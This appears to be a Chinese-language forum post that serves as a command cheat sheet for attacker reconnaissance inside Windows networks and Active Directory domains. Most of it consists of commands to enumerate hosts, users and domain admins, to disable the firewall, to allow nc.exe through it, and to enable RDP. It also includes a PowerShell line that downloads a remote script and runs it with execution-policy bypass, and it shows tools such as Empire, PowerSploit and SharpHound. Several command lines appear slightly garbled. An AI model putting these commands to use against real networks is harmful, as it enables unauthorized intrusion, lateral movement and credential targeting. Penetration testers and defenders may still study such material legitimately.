taibeihacker
Moderator
内网信息收集
收集本机信息
手动信息搜集
查询网络配置信息
1ipconfig /all

查询操作系统及软件的信息
查询操作系统和版本信息
12
systeminfo | findstr /B /C:'OS Name' /C:'OS Version'
systeminfo | findstr /B /C:'OS 名稱' /C:'OS 版本'

查询系统体系结构
1echo %PROCESSOR_ARCHITECTURE%

查看安装的软件、版本及路径等
1wmic product get name, version

1
powershell 'Get-WmiObject -class Win32_Product | select-Object -Property name, version'

查询本机服务
1wmic service list brief

查询进程列表
12
tasklist
wmic process list brief
查看启动程序信息
1wmic startup get command, caption

查看计划任务
1schtasks /query /fo LIST /v
查看主机开机时间
1net statistics workstation

查询用户列表
12
3
4
net user
net localgroup administrators
# 查詢在線用戶:
query user || qwinsta
列出或断开本地计算机与所连接的客户端之间的会话
1net session
查询端口列表
1netstat -ano
查看补丁列表
1systeminfo

1
wmic qfe get Caption,Description,HotfixID,InstalledOn

查询本机共享列表
12
net share
wmic share get name,path,status

查询路由表及所有可用接口的ARP缓存表
12
route print
arp -a
查询防火墙相关配置
关闭防火墙
Windows2003之前版本1
netsh firewall set opmode disable
Windows2003之後版本
1
netsh firewall set allprofiles state off
修改防火墙配置
Windows2003之前版本1
netsh firewall add allowedprogram c:\nc.exe 'allow nc' enable
Windows2003之後版本
1
netsh firewall add rule name='pass nc' dir=in action=allow program='C:\nc.exe'
允許指定程序連出
1
netsh advfirewall firewall add rule name='Allow nc' dir=out action=allow program='C:\nc.exe'
允許3389放行
1
netsh advfirewall firewall add rule name='Remote Desktop' protocol=TCP dir=in localport=3389 action=allow
自定义防火墙日志的存储位置
1netsh advfirewall firewall set currentprofile logging filename 'C:\windows\temp\fw.log'
查看代理情况
1reg query 'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings'

查询并开启远程连接服务
查看远程连接端口
1reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' /V PortNumber

0xd3d轉換成10進制為3389
在Windows Server2003中开启3389端口
1wmic path win32_terminalservicesetting where(__CLASS!='') call setallowtsconnections 1
在Windows Server2008和Windows Server2012中开启3389端口
12
3
4
5
6
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS!='') call setallowsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName=’RDP-Tcp’) call
setuserauthenticationrequired 1
reg add 'HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server' /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
自动化收集信息
Empire下的主机信息搜集
查看本机用户、域成员、密码设置时间、剪切板内容、系统基本信息、网络适配器信息、共享信息
1usemodule situational_awareness/host/winenum
1
situational_awareness/host/computerdetails
查询当前权限
查询当前权限
1whoami
三種情況:
本地普通用戶
本地管理員用戶
域內用戶
获取域 SID
1whoami /all

查询指定用户的详细信息
1net user XXX /domain

判断是否存在域
使用 ipconfig 命令
1ipconfig /all
查看系统详细信息
1systeminfo
查询当前登录域及用户信息
1net config workstation

判断主域
1net time /domain

執行命令後,存在三種情況:
存在域:當前不是域用戶
發生系統錯誤
存在域:且當前用戶是域用戶
如上圖
當前網絡環境為工作組
找不到域控制器
探测内网存活主机
利用 NetBIOS 快速探测内网
1nbtscan.exe 192.168.1.0/20
利用 ICMP 协议快速探测内网
1for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr 'TTL='
通过 ARP 扫描探测内网
arp-scan工具
1arp.exe -t 192.168.1.0/20
Empire 中的 ARPscan 模块
1usemodule situational_awareness/network/arpscan
Nishang 中的 Invoke-ARPScan.ps1 脚本
1powershell.exe -exec bypass -Command '{Import-Module C:\windows\temp\Invoke-ARPScan.ps1;Invoke-ARPScan -CIDR 192.168.1.0/24}' C:\Windows\temp\log.txt
扫描内网端口
metasploit 端口扫描
1auxiliary/scanner/portscan/tcp
PowerSploit 的 Invoke-portscan.ps1 脚本
1powershell.exe -nop -exec bypass -c 'IEX (New-ObjectNet.WebClient).DownloadString('https://raw.githubusercontent.com/P...r/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '445,1433,8080,3389,80' -oA c:\windows\temp\rex.txt'
Nishang 的 Invoke-PortScan 模块
1Invoke-Portscan -StartAddress 192.168.250.1 -EndAddress 192.168.250.255 -ResolveHost
端口 banner 信息

收集域内基础信息
查询域
1net view /domain
查询域内所有计算机
1net view /domain:HACKE
查询域内所有用户列表
1net group /domain
查询域内所有成员计算机列表
1net group 'domain computers' /domain
查询域密码信息
1net accounts /domain
获取域信任信息
1nltest /domain_trusts
查找域控制器
查看域控制器的机器名
1nltest /DCLIST

查看域控制器的主机名
1nslookup -type=SRV _ldap._tcp.
查看当前时间
1net time /domain
查看域控制器组
1net group 'Domain Controllers' /domain
1
netdom query pdc
获取域内的用户和管理员信息
查询所有域用户列表
向域控服务器进行查询
1net user /domain
获取域内用户的详细信息
1wmic useraccount get /all
查看存在的用户
1dsquery user
查询本地管理员组用户
1net localgroup administrators
查询域管理员用户
查询域管理员用户
1net group 'domain admins' /domain
查询管理员用户
1net group 'Enterprise Admins' /domain
定位域管理员
常用工具
pslogon.exe
1pslogon.exe \\DC
PVEFindADUser.exe
1PVEFindADUser.exe -current
netview.exe
nmap的脚本
對域控進行信息蒐集,可以獲取主機信息,用戶等信息smb-enum-sessions.nse
獲得某台主機的權限,但是無法獲取更多的域用戶信息
Smb-enum-users.nse
遍歷遠程主機的共享目錄
smb-enum-shares.nse
對主機遠程進程進行遍歷
smb-enum-process.nse
對主機的操作系統,計算機名,域名,域林名稱,NetBIOS機器名,工作組,系統時間等信息
smb-os-discovery
powerview脚本
Invoke-StealthUserHunterInvoke-UserHunter
Empire 的 user_hunter模块
1usemode situational_awareness/network/powerview/user_hunter
查找域管进程
本机检查
获取域管理员列表
1net group 'Domain Admins' /domain
列出本机的所有进程及进程用户
1tasklist /v
查询域控的域用户会话
Other-Projects/GDA at master · nullbind/Other-Projects
This project is just a dumping ground for random scripts I've developed. - nullbind/Other-Projects
查询远程系统中运行的任务
首先,從Domain Admins組中收集域管理員列表然後,將目標ip 加到ips.txt ,將收集的域管理員列表加到names.txt 文件。
1
2
FOR /F %i in (ips.txt) DO @echo [+] %i @tasklist /V /S %i /U user /P password 2NUL output.txt
FOR /F %n in (names.txt) DO @type output.txt | findstr %n NUL echo [!] %n was found running a process on %i pause
扫描远程系统的 NetBIOS 信息
首先,從Domain Admins組中收集域管理員列表然後,將目標ip 加到ips.txt ,將收集的域管理員列表加到admins.txt ` 文件。
1
for /F %i in (ips.txt) do @echo [+] Checking %i nbtstat -A %i 2NUL nbsessions.txt FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n NUL echo [!] %n was found logged into %i
BloodHound 工具
1brew services start neo4j
收集脚本
1SharpHound.exe -c all